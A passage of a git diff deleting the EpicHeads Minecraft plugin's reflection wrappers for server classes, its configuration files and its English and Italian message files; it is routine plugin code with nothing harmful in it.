BlockPositionConstructor; - - static { - BlockPositionClass = ReflectionUtils.getNMSClass("BlockPosition"); - - BlockPositionConstructor = ReflectionUtils.getConstructor(BlockPositionClass, int.class, int.class, int.class); - } - - public BlockPosition(Object handle) { - super(handle); - } - - public BlockPosition(int x, int y, int z) { - super(newInstance(x, y, z)); - } - - private static Object newInstance(int x, int y, int z) { - try { - return BlockPositionConstructor.newInstance(x, y, z); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - -} diff --git a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/Item.java b/main/java/com/songoda/epicheads/volatilecode/reflection/nms/Item.java deleted file mode 100644 index 677eb27..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/Item.java +++ /dev/null @@ -1,18 +0,0 @@ -package com.songoda.epicheads.volatilecode.reflection.nms; - -import com.songoda.epicheads.volatilecode.reflection.ReflectObject; -import com.songoda.epicheads.volatilecode.reflection.ReflectionUtils; - -public class Item extends ReflectObject { - - public static Class ItemClass; - - static { - ItemClass = ReflectionUtils.getNMSClass("Item"); - } - - public Item(Object handle) { - super(handle); - } - -} diff --git a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/ItemStack.java b/main/java/com/songoda/epicheads/volatilecode/reflection/nms/ItemStack.java deleted file mode 100644 index efc390a..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/ItemStack.java +++ /dev/null @@ -1,71 +0,0 @@ -package com.songoda.epicheads.volatilecode.reflection.nms; - -import com.songoda.epicheads.volatilecode.reflection.ReflectObject; -import com.songoda.epicheads.volatilecode.reflection.ReflectionUtils; -import com.songoda.epicheads.volatilecode.reflection.Version; -import com.songoda.epicheads.volatilecode.reflection.nms.nbt.NBTTagCompound; - -import java.lang.reflect.Constructor; -import java.lang.reflect.Method; - -public class ItemStack extends ReflectObject { - - public static Class ItemStackClass; - public static Constructor ItemStackConstructor; - public static Method getTagMethod; - public static Method setTagMethod; - - static { - ItemStackClass = ReflectionUtils.getNMSClass("ItemStack"); - - if(Version.isBelow(Version.v1_13)) { - ItemStackConstructor = ReflectionUtils.getConstructor(ItemStackClass, Item.ItemClass, int.class, int.class); - } else { - ItemStackConstructor = ReflectionUtils.getConstructor(ItemStackClass, ReflectionUtils.getNMSClass("IMaterial"), int.class); - } - - getTagMethod = ReflectionUtils.getMethod(ItemStackClass, "getTag", NBTTagCompound.NBTTagCompoundClass); - setTagMethod = ReflectionUtils.getMethod(ItemStackClass, "setTag", void.class, NBTTagCompound.NBTTagCompoundClass); - } - - public ItemStack(Object handle) { - super(handle); - } - - public ItemStack(Item item, int amount) { - super(newInstance(item, amount, 0)); - } - - public ItemStack(Item item, int amount, int data) { - super(newInstance(item, amount, data)); - } - - public NBTTagCompound getTag() { - try { - return new NBTTagCompound(getTagMethod.invoke(handle)); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - public void setTag(NBTTagCompound compound) { - try { - setTagMethod.invoke(handle, compound.getHandle()); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - private static Object newInstance(Item item, int amount, int data) { - try { - if(Version.isBelow(Version.v1_13)) { - return ItemStackConstructor.newInstance(item.getHandle(), amount, data); - } else { - return ItemStackConstructor.newInstance(item.getHandle(), amount); - } - } catch (Exception e) { - throw new RuntimeException(e); - } - } - -} diff --git a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/Items.java b/main/java/com/songoda/epicheads/volatilecode/reflection/nms/Items.java deleted file mode 100644 index 6fcbb96..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/Items.java +++ /dev/null @@ -1,49 +0,0 @@ -package com.songoda.epicheads.volatilecode.reflection.nms; - -import com.songoda.epicheads.volatilecode.reflection.ReflectObject; -import com.songoda.epicheads.volatilecode.reflection.ReflectionUtils; - -import java.lang.reflect.Field; -import java.lang.reflect.Modifier; -import java.util.HashMap; -import java.util.Map; - -public class Items extends ReflectObject { - - public static Class ItemsClass; - public static Map cachedFields = new HashMap<>(); - - static { - ItemsClass = ReflectionUtils.getNMSClass("Items"); - } - - public Items(Object handle) { - super(handle); - } - - public static Item getItem(String name) { - Field f = cachedFields.get(name); - - if (f == null) { - for (Field field : ItemsClass.getDeclaredFields()) { - if (Modifier.isStatic(field.getModifiers()) && field.getName().equals(name)) { - f = field; - f.setAccessible(true); - cachedFields.put(name, f); - break; - } - } - } - - if (f == null) { - return null; - } - - try { - return new Item(f.get(null)); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - -} diff --git a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/MinecraftServer.java b/main/java/com/songoda/epicheads/volatilecode/reflection/nms/MinecraftServer.java deleted file mode 100644 index 269a52e..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/MinecraftServer.java +++ /dev/null @@ -1,41 +0,0 @@ -package com.songoda.epicheads.volatilecode.reflection.nms; - -import com.songoda.epicheads.volatilecode.reflection.ReflectObject; -import com.songoda.epicheads.volatilecode.reflection.ReflectionUtils; - -import java.lang.reflect.Method; - -public class MinecraftServer extends ReflectObject { - - public static Class MinecraftServerClass; - public static Method getServerMethod; - public static Method getUserCacheMethod; - - static { - MinecraftServerClass = ReflectionUtils.getNMSClass("MinecraftServer"); - - getServerMethod = ReflectionUtils.getMethod(MinecraftServerClass, "getServer", true, MinecraftServerClass); - getUserCacheMethod = ReflectionUtils.getMethod(MinecraftServerClass, "getUserCache", UserCache.UserCacheClass); - } - - public MinecraftServer(Object handle) { - super(handle); - } - - public UserCache getUserCache() { - try { - return new UserCache(getUserCacheMethod.invoke(handle)); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - public static MinecraftServer getServer() { - try { - return new MinecraftServer(getServerMethod.invoke(null)); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - -} diff --git a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/TileEntity.java b/main/java/com/songoda/epicheads/volatilecode/reflection/nms/TileEntity.java deleted file mode 100644 index a140454..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/TileEntity.java +++ /dev/null @@ -1,22 +0,0 @@ -package com.songoda.epicheads.volatilecode.reflection.nms; - -import com.songoda.epicheads.volatilecode.reflection.ReflectObject; -import com.songoda.epicheads.volatilecode.reflection.ReflectionUtils; - -public class TileEntity extends ReflectObject { - - public static Class TileEntityClass; - - static { - TileEntityClass = ReflectionUtils.getNMSClass("TileEntity"); - } - - public TileEntity(Object handle) { - super(handle); - } - - public TileEntitySkull asSkullEntity() { - return new TileEntitySkull(handle); - } - -} diff --git a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/TileEntitySkull.java b/main/java/com/songoda/epicheads/volatilecode/reflection/nms/TileEntitySkull.java deleted file mode 100644 index c8cc17d..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/TileEntitySkull.java +++ /dev/null @@ -1,112 +0,0 @@ -package com.songoda.epicheads.volatilecode.reflection.nms; - -import java.lang.reflect.Field; -import java.lang.reflect.Method; -import java.lang.reflect.Modifier; -import java.util.concurrent.Executor; - -import com.google.common.base.Predicate; - -import com.mojang.authlib.GameProfile; - -import com.songoda.epicheads.volatilecode.reflection.ReflectObject; -import com.songoda.epicheads.volatilecode.reflection.ReflectionUtils; -import com.songoda.epicheads.volatilecode.reflection.ReflectObject; -import com.songoda.epicheads.volatilecode.reflection.ReflectionUtils; - -public class TileEntitySkull extends ReflectObject { - - public static Class TileEntitySkullClass; - public static Method resolveTextureMethod; - public static Method getGameProfileMethod; - public static Field executorField; - - static { - TileEntitySkullClass = ReflectionUtils.getNMSClass("TileEntitySkull"); - getGameProfileMethod = ReflectionUtils.getMethod(TileEntitySkullClass, "getGameProfile"); - - for (Method m : TileEntitySkullClass.getDeclaredMethods()) { - Class[] params = m.getParameterTypes(); - - if(!Modifier.isStatic(m.getModifiers())) - continue; - - if(params.length != 2 && params.length != 3) - continue; - - if(!params[0].equals(GameProfile.class) || !params[1].equals(Predicate.class)) - continue; - - if(params.length == 3 && !params[2].equals(boolean.class)) - continue; - - resolveTextureMethod = m; - resolveTextureMethod.setAccessible(true); - break; - } - - - - try { - executorField = TileEntitySkullClass.getDeclaredField("executor"); - executorField.setAccessible(true); - - Field modifiersField = Field.class.getDeclaredField("modifiers"); - modifiersField.setAccessible(true); - modifiersField.setInt(executorField, executorField.getModifiers() & ~Modifier.FINAL); - } catch (Exception e) { - executorField = null; - } - } - - public TileEntitySkull(Object handle) { - super(handle); - } - - public GameProfile getGameProfile() { - try { - return (GameProfile) getGameProfileMethod.invoke(handle); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - public static void resolveTexture(String name, Predicate callback) { - GameProfile existingProfile = MinecraftServer.getServer().getUserCache().getCachedProfile(name); - - if (existingProfile == null) { - existingProfile = new GameProfile(null, name); - } - - TileEntitySkull.resolveTexture(existingProfile, callback); - } - - public static void resolveTexture(GameProfile profile, Predicate callback) { - try { - if(resolveTextureMethod.getParameterCount() == 2) { - resolveTextureMethod.invoke(null, profile, callback); - } else { - resolveTextureMethod.invoke(null, profile, callback, false); - } - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - public static Executor getExecutor() { - try { - return (Executor) executorField.get(null); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - public static void setExecutor(Executor executor) { - try { - executorField.set(null, executor); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - -} diff --git a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/UserCache.java b/main/java/com/songoda/epicheads/volatilecode/reflection/nms/UserCache.java deleted file mode 100644 index 351113b..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/UserCache.java +++ /dev/null @@ -1,81 +0,0 @@ -package com.songoda.epicheads.volatilecode.reflection.nms; - -import com.mojang.authlib.GameProfile; -import com.songoda.epicheads.volatilecode.reflection.ReflectObject; -import com.songoda.epicheads.volatilecode.reflection.ReflectionUtils; - -import java.lang.reflect.Field; -import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.List; -import java.util.Locale; -import java.util.Map; - -public class UserCache extends ReflectObject { - - public static final Class UserCacheClass; - public static final List mapFields; - public static final Method addProfileMethod; - - static { - UserCacheClass = ReflectionUtils.getNMSClass("UserCache"); - - if(UserCacheClass == null) - throw new IllegalStateException("Unable to find UserCache class"); - - mapFields = new ArrayList<>(); - for(Field field : UserCacheClass.getDeclaredFields()) { - if(!Map.class.isAssignableFrom(field.getType())) - continue; - - field.setAccessible(true); - - mapFields.add(field); - } - - addProfileMethod = ReflectionUtils.getMethod(UserCacheClass, void.class, GameProfile.class); - } - - public UserCache(Object handle) { - super(handle); - } - - public GameProfile getCachedProfile(String name) { - try { - name = name.toLowerCase(Locale.ROOT); - - for(Field field : mapFields) { - Map map = (Map) field.get(handle); - - if(map == null) - continue; - - Object value = map.get(name); - - if(value == null || !UserCacheEntry.UserCacheEntryClass.isAssignableFrom(value.getClass())) - continue; - - UserCacheEntry entry = new UserCacheEntry(value); - GameProfile profile = entry.getProfile(); - - if(profile == null) - continue; - - return profile; - } - - return null; - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - public void addProfile(GameProfile profile) { - try { - addProfileMethod.invoke(handle, profile); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - -} diff --git a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/UserCacheEntry.java b/main/java/com/songoda/epicheads/volatilecode/reflection/nms/UserCacheEntry.java deleted file mode 100644 index 0607858..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/UserCacheEntry.java +++ /dev/null @@ -1,43 +0,0 @@ -package com.songoda.epicheads.volatilecode.reflection.nms; - -import com.mojang.authlib.GameProfile; -import com.songoda.epicheads.volatilecode.reflection.ReflectObject; -import com.songoda.epicheads.volatilecode.reflection.ReflectionUtils; - -import java.lang.reflect.Field; - -public class UserCacheEntry extends ReflectObject { - - public static final Class UserCacheEntryClass; - public static final Field profileField; - - static { - UserCacheEntryClass = ReflectionUtils.getNMSClass("UserCache$UserCacheEntry"); - - if(UserCacheEntryClass == null) - throw new IllegalStateException("Unable to find UserCache$UserCacheEntry class"); - - Field gameProfileField = null; - for(Field field : UserCacheEntryClass.getDeclaredFields()) { - if(!GameProfile.class.isAssignableFrom(field.getType())) - continue; - - field.setAccessible(true); - gameProfileField = field; - break; - } - profileField = gameProfileField; - } - - public UserCacheEntry(Object handle) { - super(handle); - } - - public GameProfile getProfile() { - try { - return (GameProfile) profileField.get(handle); - } catch (Exception e) { - throw new RuntimeException(e); - } - } -} diff --git a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/World.java b/main/java/com/songoda/epicheads/volatilecode/reflection/nms/World.java deleted file mode 100644 index 41c92e0..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/World.java +++ /dev/null @@ -1,50 +0,0 @@ -package com.songoda.epicheads.volatilecode.reflection.nms; - -import com.songoda.epicheads.volatilecode.reflection.ReflectObject; -import com.songoda.epicheads.volatilecode.reflection.ReflectionUtils; - -import java.lang.reflect.Method; - -public class World extends ReflectObject { - - public static Class CraftWorldClass; - public static Method getHandleMethod; - - public static Class WorldClass; - public static Method getTileEntityMethod; - - static { - CraftWorldClass = ReflectionUtils.getCraftBukkitClass("CraftWorld"); - - getHandleMethod = ReflectionUtils.getMethod(CraftWorldClass, "getHandle"); - - WorldClass = ReflectionUtils.getNMSClass("World"); - - getTileEntityMethod = ReflectionUtils.getMethod(WorldClass, "getTileEntity"); - } - - public World(org.bukkit.World world) { - super(getHandle(world)); - } - - public World(Object handle) { - super(handle); - } - - public TileEntity getTileEntity(BlockPosition pos) { - try { - return new TileEntity(getTileEntityMethod.invoke(handle, pos.getHandle())); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - private static Object getHandle(org.bukkit.World world) { - try { - return getHandleMethod.invoke(world); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - -} diff --git a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/nbt/NBTBase.java b/main/java/com/songoda/epicheads/volatilecode/reflection/nms/nbt/NBTBase.java deleted file mode 100644 index 6483746..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/nbt/NBTBase.java +++ /dev/null @@ -1,18 +0,0 @@ -package com.songoda.epicheads.volatilecode.reflection.nms.nbt; - -import com.songoda.epicheads.volatilecode.reflection.ReflectObject; -import com.songoda.epicheads.volatilecode.reflection.ReflectionUtils; - -public class NBTBase extends ReflectObject { - - public static Class NBTBaseClass; - - static { - NBTBaseClass = ReflectionUtils.getNMSClass("NBTBase"); - } - - public NBTBase(Object handle) { - super(handle); - } - -} diff --git a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/nbt/NBTTagCompound.java b/main/java/com/songoda/epicheads/volatilecode/reflection/nms/nbt/NBTTagCompound.java deleted file mode 100644 index bbe75ff..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/nbt/NBTTagCompound.java +++ /dev/null @@ -1,129 +0,0 @@ -package com.songoda.epicheads.volatilecode.reflection.nms.nbt; - -import java.lang.reflect.Method; -import java.util.Set; - -import com.songoda.epicheads.volatilecode.reflection.ReflectObject; -import com.songoda.epicheads.volatilecode.reflection.ReflectionUtils; - -public class NBTTagCompound extends ReflectObject { - - public static Class NBTTagCompoundClass; - public static Method getKeysMethod; - public static Method getCompoundMethod; - public static Method getMethod; - public static Method getListMethod; - public static Method getStringMethod; - public static Method setStringMethod; - public static Method setMethod; - public static Method hasKeyMethod; - public static Method hasKeyOfTypeMethod; - - static { - NBTTagCompoundClass = ReflectionUtils.getNMSClass("NBTTagCompound"); - - getKeysMethod = ReflectionUtils.getMethod(NBTTagCompoundClass, Set.class); - getCompoundMethod = ReflectionUtils.getMethod(NBTTagCompoundClass, "getCompound", NBTTagCompoundClass, String.class); - getMethod = ReflectionUtils.getMethod(NBTTagCompoundClass, "get", NBTBase.NBTBaseClass, String.class); - getListMethod = ReflectionUtils.getMethod(NBTTagCompoundClass, "getList", NBTTagList.NBTTagListClass, String.class, int.class); - getStringMethod = ReflectionUtils.getMethod(NBTTagCompoundClass, "getString", String.class, String.class); - setStringMethod = ReflectionUtils.getMethod(NBTTagCompoundClass, "setString", void.class, String.class, String.class); - setMethod = ReflectionUtils.getMethod(NBTTagCompoundClass, "set", void.class, String.class, NBTBase.NBTBaseClass); - hasKeyMethod = ReflectionUtils.getMethod(NBTTagCompoundClass, "hasKey", boolean.class, String.class); - hasKeyOfTypeMethod = ReflectionUtils.getMethod(NBTTagCompoundClass, "hasKeyOfType", boolean.class, String.class, int.class); - } - - public NBTTagCompound(Object handle) { - super(handle); - } - - public NBTTagCompound() { - super(newInstance()); - } - - public NBTTagCompound getCompound(String key) { - try { - return new NBTTagCompound(getCompoundMethod.invoke(handle, key)); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - public NBTTagList getList(String key, int type) { - try { - return new NBTTagList(getListMethod.invoke(handle, key, type)); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - public NBTTagList getList(String key) { - return new NBTTagList(get(key).getHandle()); - } - - @SuppressWarnings("unchecked") - public Set getKeys() { - try { - return (Set) getKeysMethod.invoke(handle); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - public NBTBase get(String key) { - try { - return new NBTBase(getMethod.invoke(handle, key)); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - public String getString(String key) { - try { - return (String) getStringMethod.invoke(handle, key); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - public void setString(String key, String value) { - try { - setStringMethod.invoke(handle, key, value); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - public void set(String key, ReflectObject value) { - try { - setMethod.invoke(handle, key, value.getHandle()); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - public boolean hasKey(String key) { - try { - return (boolean) hasKeyMethod.invoke(handle, key); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - public boolean hasKeyOfType(String key, int type) { - try { - return (boolean) hasKeyOfTypeMethod.invoke(handle, key, type); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - private static Object newInstance() { - try { - return NBTTagCompoundClass.newInstance(); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - -} diff --git a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/nbt/NBTTagList.java b/main/java/com/songoda/epicheads/volatilecode/reflection/nms/nbt/NBTTagList.java deleted file mode 100644 index 3a46d9c..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/nbt/NBTTagList.java +++ /dev/null @@ -1,92 +0,0 @@ -package com.songoda.epicheads.volatilecode.reflection.nms.nbt; - -import java.lang.reflect.Field; -import java.lang.reflect.Method; - -import com.songoda.epicheads.volatilecode.reflection.ReflectObject; -import com.songoda.epicheads.volatilecode.reflection.ReflectionUtils; -import com.songoda.epicheads.volatilecode.reflection.Version; - -public class NBTTagList extends ReflectObject { - - public static Class NBTTagListClass; - public static Method addMethod; - public static Method sizeMethod; - public static Method getMethod; - public static Field typeField; - - static { - NBTTagListClass = ReflectionUtils.getNMSClass("NBTTagList"); - - if(Version.isBelow(Version.v1_13)) { - addMethod = ReflectionUtils.getMethod(NBTTagListClass, "add", void.class, NBTBase.NBTBaseClass); - getMethod = ReflectionUtils.getMethod(NBTTagListClass, "get", NBTTagCompound.NBTTagCompoundClass, int.class); - } else { - addMethod = ReflectionUtils.getMethod(NBTTagListClass, "add", boolean.class, NBTBase.NBTBaseClass); - getMethod = ReflectionUtils.getMethod(NBTTagListClass, "get", NBTBase.NBTBaseClass, int.class); - } - - sizeMethod = ReflectionUtils.getMethod(NBTTagListClass, "size", int.class); - - for(Field field : NBTTagListClass.getDeclaredFields()) { - if(field.getType().equals(byte.class)) { - typeField = field; - typeField.setAccessible(true); - break; - } - } - - if(typeField == null) { - ReflectionUtils.reportNotFound("Could not find byte type field in NBTTagList"); - } - } - - public NBTTagList(Object handle) { - super(handle); - } - - public NBTTagList() { - super(newInstance()); - } - - public void add(ReflectObject value) { - try { - addMethod.invoke(handle, value.getHandle()); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - public int size() { - try { - return (int) sizeMethod.invoke(handle); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - public NBTTagCompound get(int index) { - try { - return new NBTTagCompound(getMethod.invoke(handle, index)); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - public int getType() { - try { - return (int) (Byte) typeField.get(handle); - } catch(Exception e) { - throw new RuntimeException(e); - } - } - - private static Object newInstance() { - try { - return NBTTagListClass.newInstance(); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - -} diff --git a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/nbt/NBTTagString.java b/main/java/com/songoda/epicheads/volatilecode/reflection/nms/nbt/NBTTagString.java deleted file mode 100644 index 34d52e2..0000000 --- a/main/java/com/songoda/epicheads/volatilecode/reflection/nms/nbt/NBTTagString.java +++ /dev/null @@ -1,47 +0,0 @@ -package com.songoda.epicheads.volatilecode.reflection.nms.nbt; - -import java.lang.reflect.Constructor; - -import com.songoda.epicheads.volatilecode.reflection.ReflectObject; -import com.songoda.epicheads.volatilecode.reflection.ReflectionUtils; - -public class NBTTagString extends ReflectObject { - - public static Class NBTTagStringClass; - public static Constructor stringConstructor; - - static { - NBTTagStringClass = ReflectionUtils.getNMSClass("NBTTagString"); - - stringConstructor = ReflectionUtils.getConstructor(NBTTagStringClass, String.class); - } - - public NBTTagString(Object handle) { - super(handle); - } - - public NBTTagString() { - super(newInstance()); - } - - public NBTTagString(String value) { - super(newInstance(value)); - } - - private static Object newInstance() { - try { - return NBTTagStringClass.newInstance(); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - private static Object newInstance(String value) { - try { - return stringConstructor.newInstance(value); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - -} diff --git a/main/resources/cache.mods b/main/resources/cache.mods deleted file mode 100644 index 24ddfe2..0000000 Binary files a/main/resources/cache.mods and /dev/null differ diff --git a/main/resources/config.yml b/main/resources/config.yml deleted file mode 100644 index 471d642..0000000 --- a/main/resources/config.yml +++ /dev/null @@ -1,43 +0,0 @@ -hide-no-perm-categories: true -free-in-creative: false -economy: - enabled: false - default-head-cost: 0 - vault-eco: - enabled: true - item-eco: - enabled: false - item: - type: player_head - name: '&6Player Head Token' - lore: - - '&8Use in /EpicHeads!' - player-points-eco: - enabled: false -breaking-head-names: - enabled: true - attempt-hook-blockstore: true - similar-heads-in-cache: true - default-name: 'Decoration Head' -commands: - heads: - label: 'EpicHeads' - aliases: - - 'heads' - description: 'Get cool heads' - sub-commands: - # open menu is when no arguments are supplied - get: 'get' - search: 'search' - random: 'random' - help: 'help' - add: 'add' - hand: 'hand' - remove: 'remove' - rename: 'rename' - give: 'give' - cost: 'cost' - category-cost: 'categorycost' - item-eco: 'itemeco' - id: 'id' - reload: 'reload' \ No newline at end of file diff --git a/main/resources/en_US.lang b/main/resources/en_US.lang deleted file mode 100644 index 6cd93f8..0000000 --- a/main/resources/en_US.lang +++ /dev/null @@ -1,65 +0,0 @@ -#General Messages - -general.nametag.prefix = "&8[&6EpicHeads&8]" - -#Interface Messages - -interface.get.open = "&7Opening Menu..." -interface.get.purchased = "&7Purchased the head &6%name% &7for &6%cost%" -interface.get.notenoughmoney = "&cYou do not have enough money to purchase this head" -interface.get.transactionerror = "&cError taking your money" -interface.id.clicked = "&7The head &6%name% &7has the id &6%id%"; -interface.remove.open = "&cSelect a head to remove it" -interface.categorycost.openremove = "&7Select a head category to reset its cost back to the default &6%newcost%" -interface.categorycost.removecost = "&7Reset the cost of the category &6%category% &7to &6%newcost%" -interface.categorycost.open = "&7Select a head category to set its cost to &6%newcost%"; -interface.categorycost.setcost = "&7Set the cost of the category &6%category% &7to &6%newcost%" -interface.remove.removed = "&cRemoved the head &4%name%" -interface.search.nopermission = "&cYou do not have permission to get heads from the category &4%category%" -interface.rename.open = "&7Select a head to rename it to &6%newname%" -interface.rename.renamed = "&7Renamed the head &6%name% &7to &6%newname%" - -#Command Messages - -command.error.integer = "&cYou must enter a whole number > You entered &4%number%" -command.error.number = "&cYou must enter a number > You entered &4%number%" -command.error.negative = "&cYou must enter a positive number > You entered &4%number%" -command.error.noconsole = "&cYou must be a player to use this command." - -command.give.invalidamount = "The amount must be greater than 0 > You entered &4%number%" -command.give.cantfindplayer = "&cCannot find the player &4%name%" -command.give.cantfindhead = "&cCannot find the head with the id &4%id%" -command.give.success = "&7Given &6%amount% &7of the head &6%head% &7to &6%name%" - -command.id.holdskull = "&cPlease hold a player head" -command.id.unknownhead = "&7Could not find the head &7%head%" -command.id.success = "&7The head you're holding &6%name% &7has the ID &6%id%" - -command.add.cantfind = "&cUnable to find texture of player &4%name%|&cThe authentication servers may be down, or the player does not exist." -command.add.categorylength = "&cThe category can only be a max of 32 characters long|&cYou entered &4%category% &c(%length% characters)" -command.add.fetching = "&7Fetching textures, please wait..." -command.add.added = "&7Added &6%name%&7 head to category &6%category%" - -command.hand.notskull = "&cYou need to have a player skull in your hand to get its texture" -command.hand.notextureproperty = "&cNo texture property found, looking for a player name" -command.hand.nonameproperty = "&cNo name property found, unable to add head" - -command.itemeco.noitem = "&cYou must be holding the item you wish to set as the economy item" -command.itemeco.set = "&7Economy item set to the item in your hand" -command.itemeco.get = "&7You have been given &6%amount% &7Heads token items" -command.itemeco.given = "&6%amount% &7Heads token items given to &6%player%" - -command.search.found = "&7Found &6%heads% heads &7matching &6%query%" -command.search.nonefound = "&cFound no heads matching &4%query%" - -command.random.noheads = "&cThere are no heads in the cache" -command.random.give = "&7You have been randomly given the head &6%name%" -command.random.self = "&7Randomly found the head &6%name%" - -command.get.success = "&7Adding &6%name%&7s head to your inventory" - -command.reload.success = "&7Config Reloaded" - -#Event Messages - -event.general.nopermission = "&cYou do not have permission to do that." \ No newline at end of file diff --git a/main/resources/italian/config.yml b/main/resources/italian/config.yml deleted file mode 100644 index 4bd9cdb..0000000 --- a/main/resources/italian/config.yml +++ /dev/null @@ -1,45 +0,0 @@ -hide-no-perm-categories: true -free-in-creative: false -check-for-updates: true -economy: - enabled: false - default-head-cost: 0 - vault-eco: - enabled: true - item-eco: - enabled: false - item: - type: skull_item - damage: 3 - name: '&6Player Head Token' - lore: - - '&8Utilizza in /EpicHeads!' - player-points-eco: - enabled: false -breaking-head-names: - enabled: true - attempt-hook-blockstore: true - similar-heads-in-cache: true - default-name: 'Decoration Head' -commands: - heads: - label: 'EpicHeads' - aliases: - - 'heads' - description: 'Ottieni Teste fantastiche' - sub-commands: - # open menu is when no arguments are supplied - get: 'get' - search: 'search' - random: 'random' - help: 'help' - add: 'add' - hand: 'hand' - remove: 'remove' - rename: 'rename' - give: 'give' - cost: 'cost' - category-cost: 'categorycost' - item-eco: 'itemeco' - id: 'id' - reload: 'reload' \ No newline at end of file diff --git a/main/resources/italian/heads.cache b/main/resources/italian/heads.cache deleted file mode 100644 index ffd70a1..0000000 Binary files a/main/resources/italian/heads.cache and /dev/null differ diff --git a/main/resources/italian/lang.yml b/main/resources/italian/lang.yml deleted file mode 100644 index 7b85321..0000000 --- a/main/resources/italian/lang.yml +++ /dev/null @@ -1,174 +0,0 @@ -updater: - old-version: '&cStai utilizzando una Versione obsoleta di Heads (%version%).' - new-version: '&cStai utilizzando la Versione recente di Heads (%version%).' -currency: - zero: "Gratuito" - non-zero: "%amount%" - exempt: "Gratuito / %cost%" -menu: - get: - open: '&7Apertura Menu...' - added: [] - purchased: '&7Acquistata la Testa &6%name% &7per &6%cost%' - not-enough-money: '&cNon hai abbastanza Soldi per acquistare questa Testa!' - transaction-error: '&cErrore durante il Prelievo dei tuoi Soldi' - category-permission: '&cNon hai il permesso per aprire la Categoria &4%category%' - search: - added: [] - not-enough-money: '&cNon hai abbastanza Soldi per acquistare questa Testa' - transaction-error: '&cErrore durante il Prelievo dei tuoi Soldi' - category-permission: '&cNon hai il permesso di Ottenere le Teste della Categoria &4%category%' - remove: - open: '&cSeleziona una Testa da rimuovere' - removed: '&cRimossa la Testa &4%name%' - rename: - open: '&7Seleziona una Testa da rinominare in &6%newname%' - renamed: '&7Rinominata la Testa &6%name% &7in &6%newname%' - cost: - open: '&7Seleziona una Testa da impostare con il Costo di &6%newcost%' - set-cost: '&7Il costo della Testa &6%name% &7è stato impostato a &6%newcost%' - category-cost: - open: '&7Seleziona la Categoria di Teste da impostare con il Costo di &6%newcost%' - set-cost: '&7Il costo della Categoria &6%category% &7è stato impostato a &6%newcost%' - open-remove: '&7Seleziona la Categoria di Teste da impostare al Costo iniziale di &6%newcost%' - remove-cost: '&7Il costo della Categoria &6%category% &7è stato portato al Costo iniziale di &6%newcost%' - id: - open: '&7Clicca su una Testa per ottenere il suo ID' - clicked: '&7La Testa &6%name% &7possiede l''ID &6%id%' -command: - unknown-command: '&cComando sconosciuto &4/EpicHeads %command%' - errors: - must-be-player: '&cDevi essere un Player per utilizzare questo Comando.' - no-permission: '&cNon hai il Permesso per eseguire questo Comando.' - invalid-arguments: '&4Parametri errati > &c%valid%' - integer: '&cDevi inserire un Numero intero > Hai inserito &4%number%' - number: '&cDevi inserire un Numero > Hai inserito &4%number%' - negative: '&cDevi inserire un Numero positivo > Hai inserito &4%number%' - help: - header: '&8&m&l---&e&l Heads Aiuto &7(&e%page% di %pages%&7) &8&m&l---' - line: - - '&6%command%' - - '&7 - &5%description%' - footer: - - '&8&m&l---&e Vedi /EpicHeads help %next-page% &8&m&l---' - unknown-page: '&cPagina sconosciuta &4%page%&c, le pagine devono essere tra &41 &ce &4%pages%' - help: - command: '/EpicHeads help [pagina]' - description: 'Apri il Menu di Aiuto' - reload: - reloaded: '&7Config Ricaricata' - help: - command: '/EpicHeads reload' - description: 'Ricarica i File di Configurazione di Heads' - get: - head-name: 